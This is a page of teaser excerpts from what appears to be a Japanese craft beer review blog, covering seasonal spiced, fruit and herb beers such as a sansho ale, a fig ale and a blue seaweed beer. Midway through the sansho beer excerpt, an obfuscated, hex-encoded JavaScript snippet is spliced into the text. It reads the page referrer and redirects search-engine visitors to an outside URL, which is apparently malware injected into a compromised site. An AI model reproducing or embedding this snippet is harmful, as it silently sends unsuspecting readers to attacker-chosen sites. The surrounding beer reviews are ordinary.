Shiga Kogen Shoubu Miyama Blonde is a 6.5% spiced / herb seasonal special from Tamamura Honten that contains the roots of sweet flags. That’s not a typo. I hadn’t heard of the root either and I’ve lived in Japan for over a decade. It seems that the closest word to it in English would be a beewort or a bitter pepper root. It …
Songbird Maltina Mukaka by Brewery Songbird
Songbird Maltina Mukaka is a 6% spiced / fruit beer from Brewery Songbird that is part of the winter seasonal lineup and was also released as their first Christmas beer. Maybe you’ve drunk the original Songbird Maltina already but this has been infused with mukaka, which translates to fig. Why they used the word mukaka instead of, say, ichijiku, is unusual but hey, …
Baird Jubilation Ale by Baird Beer
Baird Jubilation Ale is an 8.0% fruit / spice beer from Baird Beer that is part of their seasonal lineup of beers, known as the Fruitful Life series of beers. and comes out annually in December. It is brewed with domestic figs, known as ichijiku in Japanese, and cinnamon twigs, known as nikki. It can be found in both bottles …
Iwate Kura Sweet Caramel Ale by Sekinoichi Shuzo
For those that like drinking beer or like reading reviews, you’ve probably heard of caramel malts or beers tasting like caramel. If you have, then I hope you’ve tried Iwate Kura Sweet Caramel Ale as this should be the gold standard for saying your beer tastes like caramel. Iwate Kura Sweet Caramel Ale is a spiced 7% winter seasonal from Sekinoichi Shuzo …
Shonan Lemongrass Hopper by Kumazawa Brewing
If you’ve been following BeerTengoku on Facebook or Twitter (pssst we’ve even got Instagram but we’re not hip enough to know how to use it properly), then you would have known we’ve drunk Shonan Lemongrass Hopper twice; once at Sakura Taps Craft Beer and Coffee and also at Burger Mania in Ebisu. Shonan Lemongrass Hopper is, at the time of writing, a draught-only …
Iwate Kura Japanese Ale Sansho by Sekinoichi Shuzo
Sansho is fast becoming a popular adjunct in Japanese beers and with Iwate Kura Japanese Ale Sansho, Sekinoichi Shuzo have produced an spring seasonal spiced herb beer var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]]_0x5575[1]!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. It’s a 5% beer that is made with locally sourced sansho, known as mountain pepper, locally sourced from Ichinoseki. Iwate Kura Japanese Ale Sansho is on sale from mid February and has …
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Zenryaku Konomi Nante Kiitenaize Sorry Session Yuzu Ale by Yo-Ho Brewing
Zenryaku Konomi Nante Kiitenaize Sorry Session Yuzu Ale- to give it its full title, and get this article way over the minimum word count before I even talk about what the beer tastes like- is one of Yo-Ho Brewing’s specialty brews. Previous beers under this name have been the mystifying Kurogo Imperial Porter (reviewed here), as well as a …
North Island Coriander Black by North Island Beer
Coriander / cilantro is a funny herb in Japan. Some people love it, others, like my wife, detest it, and can only put up with it while it is masked by other flavours, such as in a curry. North Island Coriander Black was immediately given a wide berth by her because of the word “coriander” on the bottom right of the …
Coedo Beniaka by Coedo Beer
Coedo Beniaka had a full on upheaval in terms of recipes in 2015 with it undergoing some major cosmetic changes both in the recipe and also on the bottle. It went from a lager yeast style production of being top fermented, to an ale yeast bottom fermented beer. If that wasn’t enough, some of the hops were changed around and …
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Abashiri Okhotsk Blue Ryuhyo Draft by Abashiri Beer
Abashiri Okhotsk Blue Ryuhyo Draft is Abashiri Brewery’s most famous drink, and is supposedly made using drift ice and natural ingredients such as flowers and seaweed to give it its blue colour. It’s been the subject of many “Weird Japan” articles since being made available overseas in 2014. It’s a 5% spiced/fruit/seaweed beer. Abashiri Okhotsk Blue Ryuhyo Draft Aroma and Taste …